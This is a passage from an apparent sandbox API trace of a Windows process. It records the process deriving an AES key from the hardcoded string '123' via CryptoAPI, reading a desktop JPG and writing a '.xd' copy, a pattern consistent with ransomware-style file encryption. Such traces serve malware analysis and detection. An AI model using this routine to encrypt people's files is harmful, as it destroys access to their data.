wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.789] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.789] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.789] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0077.789] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0077.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0077.789] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0077.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0077.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0077.790] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0077.790] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631ee0) returned 1 [0077.790] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.790] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.790] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0077.790] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.790] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.791] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.791] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.791] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.791] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0077.791] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.791] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.791] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.791] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.791] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.791] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.791] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0077.791] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.791] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.791] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0077.791] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.791] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.791] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0077.791] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.791] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.792] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0077.792] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.792] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.792] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.792] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.792] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.792] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0077.792] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.792] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0077.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621378, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0077.792] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0077.792] CryptCreateHash (in: hProv=0x1631ee0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0077.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0077.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629490, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0077.793] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0077.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0077.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629470, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0077.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.793] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.793] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.793] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0077.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621660, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0077.794] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0077.794] CryptHashData (hHash=0x164c6b0, pbData=0x1629420, dwDataLen=0x3, dwFlags=0x1) returned 1 [0077.794] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.794] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.794] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.794] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.794] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.794] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0077.794] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.794] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0077.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621828, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0077.794] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0077.795] CryptDeriveKey (in: hProv=0x1631ee0, Algid=0x6610, hBaseData=0x164c6b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c430) returned 1 [0077.795] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.795] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.795] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.795] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.795] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.795] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.795] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0077.795] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0077.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0077.796] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0077.796] CryptDestroyHash (hHash=0x164c6b0) returned 1 [0077.796] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.796] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.796] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.796] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.796] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.796] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\sbjusc2 2k8dl1su.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0077.796] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.796] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0077.796] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.797] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.797] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.797] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0077.797] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\sbjusc2 2k8dl1su.jpg.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0077.797] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.797] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.797] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.797] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.799] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0077.799] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x937a, lpOverlapped=0x0) returned 1 [0077.801] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0077.803] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.804] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.804] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.804] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0077.804] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.804] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.804] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0077.804] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0077.804] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0077.804] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0077.804] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0077.804] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.805] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0077.805] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0077.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0077.805] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0077.805] CryptGetKeyParam (in: hKey=0x164c430, dwParam=0x7, pbData=0x16294a0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294a0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0077.805] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0077.805] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0077.805] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.805] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.805] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.805] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.805] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.805] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.806] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0077.806] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.806] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.806] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0077.806] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.806] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.806] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0077.806] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.806] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.806] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 